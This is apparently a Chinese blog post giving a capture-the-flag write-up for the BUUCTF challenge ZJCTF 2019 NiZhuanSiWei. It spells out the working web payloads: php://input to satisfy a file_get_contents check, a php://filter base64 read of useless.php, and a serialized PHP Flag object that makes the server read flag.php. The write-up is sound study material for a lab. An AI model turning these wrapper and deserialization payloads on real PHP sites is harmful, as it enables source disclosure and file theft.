9.1 BUUCTF [ZJCTF 2019]NiZhuanSiWei

很好的一道题目
整体思路没问题 只是没反应到用 filter查看 useless.php(...)
分析源码:
image
首先要解决:

file_get_contents($text,'r')==="..."

的问题
上网查询 file_get_contents($filename,'r') 是 读取filename文件内的内容
我们不可能找出一个文件 所以利用常见的绕过方法

php://input 绕过 file_get_contents

构造

?text=php://input

然后在 POST 上传 ... 即可绕过

接下来有个 //useless.php
这种一定要敏锐的意识到

可以用 php://filter 伪协议读取

构造

?file=php://filter/convert.base64-encode/resource=useless.php

base6解密后查看源码:

class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

找到了需要反序列化的对象的类的相关情况
关于反序列化漏洞的几个常见出现点

尤其注意类中有 __destruct __toString 等方法

__toString() 当我们 echo 一个对象时就会触发
根据本题源码 可知 只要 file="flag.php"即可
构造出 序列化的结果 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造

?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

整个payload拼起来 burpsuite重发即可获得flag{}
image

posted @ 2023-09-01 20:46  N0zoM1z0  阅读(12)  评论(0编辑  收藏  举报